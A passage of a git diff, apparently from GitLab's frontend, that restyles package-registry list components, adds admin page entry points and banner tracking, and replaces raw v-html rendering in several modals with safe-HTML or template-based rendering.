export const DEFAULT_PAGE = 1;
diff --git a/app/assets/javascripts/packages/list/stores/actions.js b/app/assets/javascripts/packages/list/stores/actions.js
index 0ed24aee2c5..bbc11e3cf13 100644
--- a/app/assets/javascripts/packages/list/stores/actions.js
+++ b/app/assets/javascripts/packages/list/stores/actions.js
@@ -1,10 +1,10 @@
import Api from '~/api';
import axios from '~/lib/utils/axios_utils';
import { deprecatedCreateFlash as createFlash } from '~/flash';
+import { DELETE_PACKAGE_ERROR_MESSAGE } from '~/packages/shared/constants';
import * as types from './mutation_types';
import {
FETCH_PACKAGES_LIST_ERROR_MESSAGE,
- DELETE_PACKAGE_ERROR_MESSAGE,
DELETE_PACKAGE_SUCCESS_MESSAGE,
DEFAULT_PAGE,
DEFAULT_PAGE_SIZE,
diff --git a/app/assets/javascripts/packages/shared/components/package_list_row.vue b/app/assets/javascripts/packages/shared/components/package_list_row.vue
index e000279b794..f93bc51d185 100644
--- a/app/assets/javascripts/packages/shared/components/package_list_row.vue
+++ b/app/assets/javascripts/packages/shared/components/package_list_row.vue
@@ -1,9 +1,10 @@
<script>
-import { GlButton, GlIcon, GlLink, GlSprintf, GlTooltipDirective } from '@gitlab/ui';
+import { GlButton, GlIcon, GlLink, GlSprintf, GlTooltipDirective, GlTruncate } from '@gitlab/ui';
import PackageTags from './package_tags.vue';
import PublishMethod from './publish_method.vue';
import { getPackageTypeLabel } from '../utils';
import timeagoMixin from '~/vue_shared/mixins/timeago';
+import ListItem from '~/vue_shared/components/registry/list_item.vue';
export default {
name: 'PackageListRow',
@@ -12,8 +13,10 @@ export default {
GlIcon,
GlLink,
GlSprintf,
+ GlTruncate,
PackageTags,
PublishMethod,
+ ListItem,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -59,15 +62,15 @@ export default {
</script>
<template>
- <div class="gl-responsive-table-row" data-qa-selector="packages-row">
- <div class="table-section section-50 d-flex flex-md-column justify-content-between flex-wrap">
- <div class="d-flex align-items-center mr-2">
+ <list-item data-qa-selector="package_row">
+ <template #left-primary>
+ <div class="gl-display-flex gl-align-items-center gl-mr-3 gl-min-w-0">
<gl-link
:href="packageLink"
+ class="gl-text-body gl-min-w-0"
data-qa-selector="package_link"
- class="text-dark font-weight-bold mb-md-1"
>
- {{ packageEntity.name }}
+ <gl-truncate :text="packageEntity.name" />
</gl-link>
<package-tags
@@ -78,41 +81,42 @@ export default {
:tag-display-limit="1"
/>
</div>
-
- <div class="d-flex text-secondary text-truncate mt-md-2">
+ </template>
+ <template #left-secondary>
+ <div class="gl-display-flex">
<span>{{ packageEntity.version }}</span>
- <div v-if="hasPipeline" class="d-none d-md-inline-block ml-1">
+ <div v-if="hasPipeline" class="gl-display-none gl-display-sm-flex gl-ml-2">
<gl-sprintf :message="s__('PackageRegistry|published by %{author}')">
<template #author>{{ packageEntity.pipeline.user.name }}</template>
</gl-sprintf>
</div>
- <div v-if="hasProjectLink" class="d-flex align-items-center">
- <gl-icon name="review-list" class="text-secondary ml-2 mr-1" />
+ <div v-if="hasProjectLink" class="gl-display-flex gl-align-items-center">
+ <gl-icon name="review-list" class="gl-ml-3 gl-mr-2 gl-min-w-0" />
<gl-link
+ class="gl-text-body gl-min-w-0"
data-testid="packages-row-project"
:href="`/${packageEntity.project_path}`"
- class="text-secondary"
- >{{ packageEntity.projectPathName }}</gl-link
>
+ <gl-truncate :text="packageEntity.projectPathName" />
+ </gl-link>
</div>
<div v-if="showPackageType" class="d-flex align-items-center" data-testid="package-type">
- <gl-icon name="package" class="text-secondary ml-2 mr-1" />
+ <gl-icon name="package" class="gl-ml-3 gl-mr-2" />
<span>{{ packageType }}</span>
</div>
</div>
- </div>
+ </template>
- <div
- class="table-section d-flex flex-md-column justify-content-between align-items-md-end"
- :class="disableDelete ? 'section-50' : 'section-40'"
- >
+ <template #right-primary>
<publish-method :package-entity="packageEntity" :is-group="isGroup" />
+ </template>
- <div class="text-secondary order-0 order-md-1 mt-md-2">
+ <template #right-secondary>
+ <span>
<gl-sprintf :message="__('Created %{timestamp}')">
<template #timestamp>
<span v-gl-tooltip :title="tooltipTitle(packageEntity.created_at)">
@@ -120,10 +124,10 @@ export default {
</span>
</template>
</gl-sprintf>
- </div>
- </div>
+ </span>
+ </template>
- <div v-if="!disableDelete" class="table-section section-10 d-flex justify-content-end">
+ <template v-if="!disableDelete" #right-action>
<gl-button
data-testid="action-delete"
icon="remove"
@@ -134,6 +138,6 @@ export default {
:disabled="!packageEntity._links.delete_api_path"
@click="$emit('packageToDelete', packageEntity)"
/>
- </div>
- </div>
+ </template>
+ </list-item>
</template>
diff --git a/app/assets/javascripts/packages/shared/components/package_tags.vue b/app/assets/javascripts/packages/shared/components/package_tags.vue
index 391f53c225b..3d7e233c1ba 100644
--- a/app/assets/javascripts/packages/shared/components/package_tags.vue
+++ b/app/assets/javascripts/packages/shared/components/package_tags.vue
@@ -80,6 +80,7 @@ export default {
data-testid="tagBadge"
:class="tagBadgeClass(index)"
variant="info"
+ size="sm"
>{{ tag.name }}</gl-badge
>
@@ -89,7 +90,8 @@ export default {
data-testid="moreBadge"
variant="muted"
:title="moreTagsTooltip"
- class="gl-display-none d-md-flex gl-ml-2"
+ size="sm"
+ class="gl-display-none gl-display-md-flex gl-ml-2"
><gl-sprintf :message="__('+%{tags} more')">
<template #tags>
{{ moreTagsDisplay }}
@@ -101,7 +103,7 @@ export default {
v-if="moreTagsDisplay && hideLabel"
data-testid="moreBadge"
variant="muted"
- class="d-md-none gl-ml-2"
+ class="gl-display-md-none gl-ml-2"
>{{ tagsDisplay }}</gl-badge
>
</div>
diff --git a/app/assets/javascripts/packages/shared/components/packages_list_loader.vue b/app/assets/javascripts/packages/shared/components/packages_list_loader.vue
index cd9ef74d467..efd9f8db908 100644
--- a/app/assets/javascripts/packages/shared/components/packages_list_loader.vue
+++ b/app/assets/javascripts/packages/shared/components/packages_list_loader.vue
@@ -5,40 +5,13 @@ export default {
components: {
GlSkeletonLoader,
},
- props: {
- isGroup: {
- type: Boolean,
- required: false,
- default: false,
- },
- },
- computed: {
- desktopShapes() {
- return this.isGroup ? this.$options.shapes.groups : this.$options.shapes.projects;
- },
- desktopHeight() {
- return this.isGroup ? 38 : 54;
- },
- mobileHeight() {
- return this.isGroup ? 160 : 170;
- },
- },
- shapes: {
- groups: [
- { type: 'rect', width: '100', height: '10', x: '0', y: '15' },
- { type: 'rect', width: '100', height: '10', x: '195', y: '15' },
- { type: 'rect', width: '60', height: '10', x: '475', y: '15' },
- { type: 'rect', width: '60', height: '10', x: '675', y: '15' },
- { type: 'rect', width: '100', height: '10', x: '900', y: '15' },
- ],
- projects: [
- { type: 'rect', width: '220', height: '10', x: '0', y: '20' },
- { type: 'rect', width: '60', height: '10', x: '305', y: '20' },
- { type: 'rect', width: '60', height: '10', x: '535', y: '20' },
- { type: 'rect', width: '100', height: '10', x: '760', y: '20' },
- { type: 'rect', width: '30', height: '30', x: '970', y: '10', ref: 'button-loader' },
- ],
- },
+ shapes: [
+ { type: 'rect', width: '220', height: '10', x: '0', y: '20' },
+ { type: 'rect', width: '60', height: '10', x: '305', y: '20' },
+ { type: 'rect', width: '60', height: '10', x: '535', y: '20' },
+ { type: 'rect', width: '100', height: '10', x: '760', y: '20' },
+ { type: 'rect', width: '30', height: '30', x: '970', y: '10', ref: 'button-loader' },
+ ],
rowsToRender: {
mobile: 5,
desktop: 20,
@@ -48,34 +21,35 @@ export default {
<template>
<div>
- <div class="d-xs-flex flex-column d-md-none">
+ <div class="gl-flex-direction-column gl-display-sm-none" data-testid="mobile-loader">
<gl-skeleton-loader
v-for="index in $options.rowsToRender.mobile"
:key="index"
:width="500"
- :height="mobileHeight"
+ :height="170"
preserve-aspect-ratio="xMinYMax meet"
>
<rect width="500" height="10" x="0" y="15" rx="4" />
<rect width="500" height="10" x="0" y="45" rx="4" />
<rect width="500" height="10" x="0" y="75" rx="4" />
<rect width="500" height="10" x="0" y="105" rx="4" />
- <rect v-if="isGroup" width="500" height="10" x="0" y="135" rx="4" />
- <rect v-else width="30" height="30" x="470" y="135" rx="4" />
+ <rect width="500" height="10" x="0" y="135" rx="4" />
</gl-skeleton-loader>
</div>
-
- <div class="d-none d-md-flex flex-column">
+ <div
+ class="gl-display-none gl-display-sm-flex gl-flex-direction-column"
+ data-testid="desktop-loader"
+ >
<gl-skeleton-loader
v-for="index in $options.rowsToRender.desktop"
:key="index"
:width="1000"
- :height="desktopHeight"
+ :height="54"
preserve-aspect-ratio="xMinYMax meet"
>
<component
:is="r.type"
- v-for="(r, rIndex) in desktopShapes"
+ v-for="(r, rIndex) in $options.shapes"
:key="rIndex"
rx="4"
v-bind="r"
diff --git a/app/assets/javascripts/packages/shared/components/publish_method.vue b/app/assets/javascripts/packages/shared/components/publish_method.vue
index 1e18562a421..d17e23c4032 100644
--- a/app/assets/javascripts/packages/shared/components/publish_method.vue
+++ b/app/assets/javascripts/packages/shared/components/publish_method.vue
@@ -36,26 +36,28 @@ export default {
</script>
<template>
- <div class="d-flex align-items-center text-secondary order-1 order-md-0 mb-md-1">
+ <div class="gl-display-flex gl-align-items-center">
<template v-if="hasPipeline">
- <gl-icon name="git-merge" class="mr-1" />
- <strong ref="pipeline-ref" class="mr-1 text-dark">{{ packageEntity.pipeline.ref }}</strong>
+ <gl-icon name="git-merge" class="gl-mr-2" />
+ <span data-testid="pipeline-ref" class="gl-mr-2">{{ packageEntity.pipeline.ref }}</span>
- <gl-icon name="commit" class="mr-1" />
- <gl-link ref="pipeline-sha" :href="linkToCommit" class="mr-1">{{ packageShaShort }}</gl-link>
+ <gl-icon name="commit" class="gl-mr-2" />
+ <gl-link data-testid="pipeline-sha" :href="linkToCommit" class="gl-mr-2">{{
+ packageShaShort
+ }}</gl-link>
<clipboard-button
:text="packageEntity.pipeline.sha"
:title="__('Copy commit SHA')"
- css-class="border-0 text-secondary py-0 px-1"
+ css-class="gl-border-0 gl-py-0 gl-px-2"
/>
</template>
<template v-else>
- <gl-icon name="upload" class="mr-1" />
- <strong ref="manual-ref" class="text-dark">{{
- s__('PackageRegistry|Manually Published')
- }}</strong>
+ <gl-icon name="upload" class="gl-mr-2" />
+ <span data-testid="manually-published">
+ {{ s__('PackageRegistry|Manually Published') }}
+ </span>
</template>
</div>
</template>
diff --git a/app/assets/javascripts/packages/shared/constants.js b/app/assets/javascripts/packages/shared/constants.js
index 279c2959fa9..e5131db59bf 100644
--- a/app/assets/javascripts/packages/shared/constants.js
+++ b/app/assets/javascripts/packages/shared/constants.js
@@ -1,3 +1,5 @@
+import { __ } from '~/locale';
+
export const PackageType = {
CONAN: 'conan',
MAVEN: 'maven',
@@ -22,3 +24,6 @@ export const TrackingCategories = {
[PackageType.NPM]: 'NpmPackages',
[PackageType.CONAN]: 'ConanPackages',
};
+
+export const SHOW_DELETE_SUCCESS_ALERT = 'showSuccessDeleteAlert';
+export const DELETE_PACKAGE_ERROR_MESSAGE = __('Something went wrong while deleting the package.');
diff --git a/app/assets/javascripts/pages/admin/application_settings/metrics_and_profiling/index.js b/app/assets/javascripts/pages/admin/application_settings/metrics_and_profiling/index.js
index bbaaeb55c65..a2fca238613 100644
--- a/app/assets/javascripts/pages/admin/application_settings/metrics_and_profiling/index.js
+++ b/app/assets/javascripts/pages/admin/application_settings/metrics_and_profiling/index.js
@@ -1,3 +1,3 @@
-import setup from 'ee_else_ce/admin/application_settings/setup_metrics_and_profiling';
+import setup from '~/admin/application_settings/setup_metrics_and_profiling';
document.addEventListener('DOMContentLoaded', setup);
diff --git a/app/assets/javascripts/pages/admin/application_settings/payload_previewer.js b/app/assets/javascripts/pages/admin/application_settings/payload_previewer.js
index e7b468f039f..f8fc53799a8 100644
--- a/app/assets/javascripts/pages/admin/application_settings/payload_previewer.js
+++ b/app/assets/javascripts/pages/admin/application_settings/payload_previewer.js
@@ -3,9 +3,9 @@ import { __ } from '../../../locale';
import { deprecatedCreateFlash as flash } from '../../../flash';
export default class PayloadPreviewer {
- constructor(trigger, container) {
+ constructor(trigger) {
this.trigger = trigger;
- this.container = container;
+ this.container = document.querySelector(trigger.dataset.payloadSelector);
this.isVisible = false;
this.isInserted = false;
}
diff --git a/app/assets/javascripts/pages/admin/clusters/new/index.js b/app/assets/javascripts/pages/admin/clusters/new/index.js
new file mode 100644
index 00000000000..876bab0b339
--- /dev/null
+++ b/app/assets/javascripts/pages/admin/clusters/new/index.js
@@ -0,0 +1,5 @@
+import initNewCluster from '~/clusters/new_cluster';
+
+document.addEventListener('DOMContentLoaded', () => {
+ initNewCluster();
+});
diff --git a/app/assets/javascripts/pages/admin/cohorts/index.js b/app/assets/javascripts/pages/admin/cohorts/index.js
new file mode 100644
index 00000000000..1cc54df15a1
--- /dev/null
+++ b/app/assets/javascripts/pages/admin/cohorts/index.js
@@ -0,0 +1,22 @@
+import Vue from 'vue';
+import UsagePingDisabled from '~/admin/cohorts/components/usage_ping_disabled.vue';
+
+document.addEventListener('DOMContentLoaded', () => {
+ const emptyStateContainer = document.getElementById('js-cohorts-empty-state');
+
+ if (!emptyStateContainer) return false;
+
+ const { emptyStateSvgPath, enableUsagePingLink, docsLink } = emptyStateContainer.dataset;
+
+ return new Vue({
+ el: emptyStateContainer,
+ provide: {
+ svgPath: emptyStateSvgPath,
+ primaryButtonPath: enableUsagePingLink,
+ docsLink,
+ },
+ render(h) {
+ return h(UsagePingDisabled);
+ },
+ });
+});
diff --git a/app/assets/javascripts/pages/admin/dev_ops_report/index.js b/app/assets/javascripts/pages/admin/dev_ops_report/index.js
new file mode 100644
index 00000000000..643497003ba
--- /dev/null
+++ b/app/assets/javascripts/pages/admin/dev_ops_report/index.js
@@ -0,0 +1,27 @@
+import Vue from 'vue';
+import UserCallout from '~/user_callout';
+import UsagePingDisabled from '~/admin/dev_ops_report/components/usage_ping_disabled.vue';
+
+document.addEventListener('DOMContentLoaded', () => {
+ // eslint-disable-next-line no-new
+ new UserCallout();
+
+ const emptyStateContainer = document.getElementById('js-devops-empty-state');
+
+ if (!emptyStateContainer) return false;
+
+ const { emptyStateSvgPath, enableUsagePingLink, docsLink, isAdmin } = emptyStateContainer.dataset;
+
+ return new Vue({
+ el: emptyStateContainer,
+ provide: {
+ isAdmin: Boolean(isAdmin),
+ svgPath: emptyStateSvgPath,
+ primaryButtonPath: enableUsagePingLink,
+ docsLink,
+ },
+ render(h) {
+ return h(UsagePingDisabled);
+ },
+ });
+});
diff --git a/app/assets/javascripts/pages/admin/projects/index/components/delete_project_modal.vue b/app/assets/javascripts/pages/admin/projects/index/components/delete_project_modal.vue
index 8bb093da771..b92fc8d125d 100644
--- a/app/assets/javascripts/pages/admin/projects/index/components/delete_project_modal.vue
+++ b/app/assets/javascripts/pages/admin/projects/index/components/delete_project_modal.vue
@@ -1,11 +1,14 @@
<script>
+import { GlSafeHtmlDirective as SafeHtml, GlModal } from '@gitlab/ui';
import { escape } from 'lodash';
-import DeprecatedModal from '~/vue_shared/components/deprecated_modal.vue';
-import { s__, sprintf } from '~/locale';
+import { __, s__, sprintf } from '~/locale';
export default {
components: {
- DeprecatedModal,
+ GlModal,
+ },
+ directives: {
+ SafeHtml,
},
props: {
deleteProjectUrl: {
@@ -62,51 +65,57 @@ export default {
false,
);
},
- primaryButtonLabel() {
- return s__('AdminProjects|Delete project');
- },
canSubmit() {
return this.enteredProjectName === this.projectName;
},
+ primaryProps() {
+ return {
+ text: s__('Delete project'),
+ attributes: [{ variant: 'danger' }, { category: 'primary' }, { disabled: !this.canSubmit }],
+ };
+ },
},
methods: {
onCancel() {
this.enteredProjectName = '';
},
onSubmit() {
+ if (!this.canSubmit) {
+ return;
+ }
this.$refs.form.submit();
this.enteredProjectName = '';
},
},
+ cancelProps: {
+ text: __('Cancel'),
+ },
};
</script>
<template>
- <deprecated-modal
- id="delete-project-modal"
+ <gl-modal
+ modal-id="delete-project-modal"
:title="title"
- :text="text"
- :primary-button-label="primaryButtonLabel"
- :submit-disabled="!canSubmit"
- kind="danger"
- @submit="onSubmit"
+ :action-primary="primaryProps"
+ :action-cancel="$options.cancelProps"
+ :ok-disabled="!canSubmit"
+ @primary="onSubmit"
@cancel="onCancel"
>
- <template #body="props">
- <p v-html="props.text"></p>
- <p v-html="confirmationTextLabel"></p>
- <form ref="form" :action="deleteProjectUrl" method="post">
- <input ref="method" type="hidden" name="_method" value="delete" />
- <input :value="csrfToken" type="hidden" name="authenticity_token" />
- <input
- v-model="enteredProjectName"
- name="projectName"
- class="form-control"
- type="text"
- aria-labelledby="input-label"
- autocomplete="off"
- />
- </form>
- </template>
- </deprecated-modal>
+ <p v-safe-html="text"></p>
+ <p v-safe-html="confirmationTextLabel"></p>
+ <form ref="form" :action="deleteProjectUrl" method="post">
+ <input ref="method" type="hidden" name="_method" value="delete" />
+ <input :value="csrfToken" type="hidden" name="authenticity_token" />
+ <input
+ v-model="enteredProjectName"
+ name="projectName"
+ class="form-control"
+ type="text"
+ aria-labelledby="input-label"
+ autocomplete="off"
+ />
+ </form>
+ </gl-modal>
</template>
diff --git a/app/assets/javascripts/pages/admin/projects/index/index.js b/app/assets/javascripts/pages/admin/projects/index/index.js
index 6fa8760545d..ebb1a74e970 100644
--- a/app/assets/javascripts/pages/admin/projects/index/index.js
+++ b/app/assets/javascripts/pages/admin/projects/index/index.js
@@ -1,4 +1,3 @@
-import $ from 'jquery';
import Vue from 'vue';
import Translate from '~/vue_shared/translate';
@@ -17,6 +16,18 @@ document.addEventListener('DOMContentLoaded', () => {
deleteProjectUrl: '',
projectName: '',
},
+ mounted() {
+ const deleteProjectButtons = document.querySelectorAll('.delete-project-button');
+ deleteProjectButtons.forEach(button => {
+ button.addEventListener('click', () => {
+ const buttonProps = button.dataset;
+ deleteModal.deleteProjectUrl = buttonProps.deleteProjectUrl;
+ deleteModal.projectName = buttonProps.projectName;
+
+ this.$root.$emit('bv::show::modal', 'delete-project-modal');
+ });
+ });
+ },
render(createElement) {
return createElement(deleteProjectModal, {
props: {
@@ -27,12 +38,4 @@ document.addEventListener('DOMContentLoaded', () => {
});
},
});
-
- $(document).on('shown.bs.modal', event => {
- if (event.relatedTarget.classList.contains('delete-project-button')) {
- const buttonProps = event.relatedTarget.dataset;
- deleteModal.deleteProjectUrl = buttonProps.deleteProjectUrl;
- deleteModal.projectName = buttonProps.projectName;
- }
- });
});
diff --git a/app/assets/javascripts/pages/admin/services/index/index.js b/app/assets/javascripts/pages/admin/services/index/index.js
new file mode 100644
index 00000000000..b2dfbb5a9fc
--- /dev/null
+++ b/app/assets/javascripts/pages/admin/services/index/index.js
@@ -0,0 +1,6 @@
+import PersistentUserCallout from '~/persistent_user_callout';
+
+document.addEventListener('DOMContentLoaded', () => {
+ const callout = document.querySelector('.js-service-templates-deprecated');
+ PersistentUserCallout.factory(callout);
+});
diff --git a/app/assets/javascripts/pages/admin/users/components/delete_user_modal.vue b/app/assets/javascripts/pages/admin/users/components/delete_user_modal.vue
index e09b8e1bdd5..9c303cc6445 100644
--- a/app/assets/javascripts/pages/admin/users/components/delete_user_modal.vue
+++ b/app/assets/javascripts/pages/admin/users/components/delete_user_modal.vue
@@ -1,6 +1,5 @@
<script>
-import { escape } from 'lodash';
-import { GlModal, GlButton, GlFormInput } from '@gitlab/ui';
+import { GlModal, GlButton, GlFormInput, GlSprintf } from '@gitlab/ui';
import { s__, sprintf } from '~/locale';
export default {
@@ -8,6 +7,7 @@ export default {
GlModal,
GlButton,
GlFormInput,
+ GlSprintf,
},
props: {
title: {
@@ -52,27 +52,6 @@ export default {
modalTitle() {
return sprintf(this.title, { username: this.username });
},
- text() {
- return sprintf(
- this.content,
- {
- username: `<strong>${escape(this.username)}</strong>`,
- strong_start: '<strong>',
- strong_end: '</strong>',
- },
- false,
- );
- },
- confirmationTextLabel() {
- return sprintf(
- s__('AdminUsers|To confirm, type %{username}'),
- {
- username: `<code>${escape(this.username)}</code>`,
- },
- false,
- );
- },
-
secondaryButtonLabel() {
return s__('AdminUsers|Block user');
},
@@ -107,8 +86,25 @@ export default {
<template>
<gl-modal ref="modal" modal-id="delete-user-modal" :title="modalTitle" kind="danger">
<template>
- <p v-html="text"></p>
- <p v-html="confirmationTextLabel"></p>
+ <p>
+ <gl-sprintf :message="content">
+ <template #username>
+ <strong>{{ username }}</strong>
+ </template>
+ <template #strong="props">
+ <strong>{{ props.content }}</strong>
+ </template>
+ </gl-sprintf>
+ </p>
+
+ <p>
+ <gl-sprintf :message="s__('AdminUsers|To confirm, type %{username}')">
+ <template #username>
+ <code>{{ username }}</code>
+ </template>
+ </gl-sprintf>
+ </p>
+
<form ref="form" :action="deleteUserUrl" method="post" @submit.prevent>
<input ref="method" type="hidden" name="_method" value="delete" />
<input :value="csrfToken" type="hidden" name="authenticity_token" />
diff --git a/app/assets/javascripts/pages/admin/users/components/user_operation_confirmation_modal.vue b/app/assets/javascripts/pages/admin/users/components/user_operation_confirmation_modal.vue
index 4c335cfb018..4ca6ce6f1c3 100644
--- a/app/assets/javascripts/pages/admin/users/components/user_operation_confirmation_modal.vue
+++ b/app/assets/javascripts/pages/admin/users/components/user_operation_confirmation_modal.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { GlModal } from '@gitlab/ui';
import { sprintf } from '~/locale';
diff --git a/app/assets/javascripts/pages/constants.js b/app/assets/javascripts/pages/constants.js
index 35c67190b62..a9773807212 100644
--- a/app/assets/javascripts/pages/constants.js
+++ b/app/assets/javascripts/pages/constants.js
@@ -1,5 +1,3 @@
-/* eslint-disable import/prefer-default-export */
-
export const FILTERED_SEARCH = {
MERGE_REQUESTS: 'merge_requests',
ISSUES: 'issues',
diff --git a/app/assets/javascripts/pages/dashboard/projects/index/components/customize_homepage_banner.vue b/app/assets/javascripts/pages/dashboard/projects/index/components/customize_homepage_banner.vue
index 6b907f31a37..9fa441348c7 100644
--- a/app/assets/javascripts/pages/dashboard/projects/index/components/customize_homepage_banner.vue
+++ b/app/assets/javascripts/pages/dashboard/projects/index/components/customize_homepage_banner.vue
@@ -2,11 +2,15 @@
import { GlBanner } from '@gitlab/ui';
import { s__ } from '~/locale';
import axios from '~/lib/utils/axios_utils';
+import Tracking from '~/tracking';
+
+const trackingMixin = Tracking.mixin();
export default {
components: {
GlBanner,
},
+ mixins: [trackingMixin],
inject: {
svgPath: {
default: '',
@@ -20,6 +24,9 @@ export default {
calloutsFeatureId: {
default: '',
},
+ trackLabel: {
+ default: '',
+ },
},
i18n: {
title: s__('CustomizeHomepageBanner|Do you want to customize this page?'),
@@ -31,8 +38,19 @@ export default {
data() {
return {
visible: true,
+ tracking: {
+ label: this.trackLabel,
+ },
};
},
+ created() {
+ this.$nextTick(() => {
+ this.addTrackingAttributesToButton();
+ });
+ },
+ mounted() {
+ this.trackOnShow();
+ },
methods: {
handleClose() {
axios
@@ -45,6 +63,23 @@ export default {
});
this.visible = false;
+ this.track('click_dismiss');
+ },
+ trackOnShow() {
+ if (this.visible) this.track('show_home_page_banner');
+ },
+ addTrackingAttributesToButton() {
+ // we can't directly add these on the button like we need to due to
+ // button not being modifiable currently
+ // https://gitlab.com/gitlab-org/gitlab-ui/-/blob/9209ec424e5cca14bc8a1b5c9fa12636d8c83dad/src/components/base/banner/banner.vue#L60
+ const button = this.$refs.banner.$el.querySelector(
+ `[href='${this.preferencesBehaviorPath}']`,
+ );
+
+ if (button) {
+ button.setAttribute('data-track-event', 'click_go_to_preferences');
+ button.setAttribute('data-track-label', this.trackLabel);
+ }
},
},
};
@@ -53,6 +88,7 @@ export default {
<template>
<gl-banner
v-if="visible"
+ ref="banner"
:title="$options.i18n.title"
:button-text="$options.i18n.button_text"
:button-link="preferencesBehaviorPath"
diff --git a/app/assets/javascripts/pages/dashboard/todos/index/todos.js b/app/assets/javascripts/pages/dashboard/todos/index/todos.js
index f76b4b44452..6f8d954d798 100644
--- a/app/assets/javascripts/pages/dashboard/todos/index/todos.js
+++ b/app/assets/javascripts/pages/dashboard/todos/index/todos.js
@@ -1,7 +1,7 @@
/* eslint-disable class-methods-use-this, no-unneeded-ternary */
import $ from 'jquery';
-import '~/gl_dropdown';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
import { visitUrl } from '~/lib/utils/url_utility';
import UsersSelect from '~/users_select';
import { isMetaClick } from '~/lib/utils/common_utils';
@@ -50,7 +50,7 @@ export default class Todos {
}
initFilterDropdown($dropdown, fieldName, searchFields) {
- $dropdown.glDropdown({
+ initDeprecatedJQueryDropdown($dropdown, {
fieldName,
selectable: true,
filterable: searchFields ? true : false,
diff --git a/app/assets/javascripts/pages/groups/clusters/new/index.js b/app/assets/javascripts/pages/groups/clusters/new/index.js
new file mode 100644
index 00000000000..876bab0b339
--- /dev/null
+++ b/app/assets/javascripts/pages/groups/clusters/new/index.js
@@ -0,0 +1,5 @@
+import initNewCluster from '~/clusters/new_cluster';
+
+document.addEventListener('DOMContentLoaded', () => {
+ initNewCluster();
+});
diff --git a/app/assets/javascripts/pages/groups/group_members/index.js b/app/assets/javascripts/pages/groups/group_members/index.js
index e146592e134..3fa3a132dfa 100644
--- a/app/assets/javascripts/pages/groups/group_members/index.js
+++ b/app/assets/javascripts/pages/groups/group_members/index.js
@@ -4,6 +4,7 @@ import memberExpirationDate from '~/member_expiration_date';
import UsersSelect from '~/users_select';
import groupsSelect from '~/groups_select';
import RemoveMemberModal from '~/vue_shared/components/remove_member_modal.vue';
+import initGroupMembersApp from '~/groups/members';
function mountRemoveMemberModal() {
const el = document.querySelector('.js-remove-member-modal');
@@ -25,6 +26,11 @@ document.addEventListener('DOMContentLoaded', () => {
memberExpirationDate('.js-access-expiration-date-groups');
mountRemoveMemberModal();
+ initGroupMembersApp(document.querySelector('.js-group-members-list'));
+ initGroupMembersApp(document.querySelector('.js-group-linked-list'));
+ initGroupMembersApp(document.querySelector('.js-group-invited-members-list'));
+ initGroupMembersApp(document.querySelector('.js-group-access-requests-list'));
+
new Members(); // eslint-disable-line no-new
new UsersSelect(); // eslint-disable-line no-new
});
diff --git a/app/assets/javascripts/pages/groups/issues/index.js b/app/assets/javascripts/pages/groups/issues/index.js
index 2496003919a..ae481d16ee9 100644
--- a/app/assets/javascripts/pages/groups/issues/index.js
+++ b/app/assets/javascripts/pages/groups/issues/index.js
@@ -1,5 +1,5 @@
import IssuableFilteredSearchTokenKeys from 'ee_else_ce/filtered_search/issuable_filtered_search_token_keys';
-import initIssuablesList from '~/issuables_list';
+import initIssuablesList from '~/issues_list';
import projectSelect from '~/project_select';
import initFilteredSearch from '~/pages/search/init_filtered_search';
import issuableInitBulkUpdateSidebar from '~/issuable_init_bulk_update_sidebar';
diff --git a/app/assets/javascripts/pages/groups/shared/group_details.js b/app/assets/javascripts/pages/groups/shared/group_details.js
index 37b253d7c48..8546b1f759f 100644
--- a/app/assets/javascripts/pages/groups/shared/group_details.js
+++ b/app/assets/javascripts/pages/groups/shared/group_details.js
@@ -8,6 +8,7 @@ import NotificationsForm from '~/notifications_form';
import ProjectsList from '~/projects_list';
import ShortcutsNavigation from '~/behaviors/shortcuts/shortcuts_navigation';
import GroupTabs from './group_tabs';
+import initInviteMembersBanner from '~/groups/init_invite_members_banner';
export default function initGroupDetails(actionName = 'show') {
const newGroupChildWrapper = document.querySelector('.js-new-project-subgroup');
@@ -27,4 +28,5 @@ export default function initGroupDetails(actionName = 'show') {
if (newGroupChildWrapper) {
new NewGroupChild(newGroupChildWrapper);
}
+ initInviteMembersBanner();
}
diff --git a/app/assets/javascripts/pages/instance_statistics/dev_ops_score/index.js b/app/assets/javascripts/pages/instance_statistics/dev_ops_score/index.js
deleted file mode 100644
index c1056537f90..00000000000
--- a/app/assets/javascripts/pages/instance_statistics/dev_ops_score/index.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import UserCallout from '~/user_callout';
-
-document.addEventListener('DOMContentLoaded', () => new UserCallout());
diff --git a/app/assets/javascripts/pages/milestones/shared/components/delete_milestone_modal.vue b/app/assets/javascripts/pages/milestones/shared/components/delete_milestone_modal.vue
index 5be8e6697a2..983062c79f1 100644
--- a/app/assets/javascripts/pages/milestones/shared/components/delete_milestone_modal.vue
+++ b/app/assets/javascripts/pages/milestones/shared/components/delete_milestone_modal.vue
@@ -1,4 +1,5 @@
<script>
+import { GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
import axios from '~/lib/utils/axios_utils';
import { deprecatedCreateFlash as Flash } from '~/flash';
@@ -11,6 +12,9 @@ export default {
components: {
DeprecatedModal,
},
+ directives: {
+ SafeHtml,
+ },
props: {
issueCount: {
type: Number,
@@ -124,7 +128,7 @@ Once deleted, it cannot be undone or recovered.`),
@submit="onSubmit"
>
<template #body="props">
- <p v-html="props.text"></p>
+ <p v-safe-html="props.text"></p>
</template>
</deprecated-modal>
</template>
diff --git a/app/assets/javascripts/pages/projects/blob/show/index.js b/app/assets/javascripts/pages/projects/blob/show/index.js
index cb7198e9789..46e59cd6572 100644
--- a/app/assets/javascripts/pages/projects/blob/show/index.js
+++ b/app/assets/javascripts/pages/projects/blob/show/index.js
@@ -6,6 +6,33 @@ import GpgBadges from '~/gpg_badges';
import '~/sourcegraph/load';
import PipelineTourSuccessModal from '~/blob/pipeline_tour_success_modal.vue';
+const createGitlabCiYmlVisualization = (containerId = '#js-blob-toggle-graph-preview') => {
+ const el = document.querySelector(containerId);
+ const { filename, blobData } = el?.dataset;
+
+ const nameRegexp = /\.gitlab-ci.yml/;
+
+ if (!el || !nameRegexp.test(filename)) {
+ return;
+ }
+
+ // eslint-disable-next-line no-new
+ new Vue({
+ el,
+ components: {
+ GitlabCiYamlVisualization: () =>
+ import('~/pipelines/components/pipeline_graph/gitlab_ci_yaml_visualization.vue'),
+ },
+ render(createElement) {
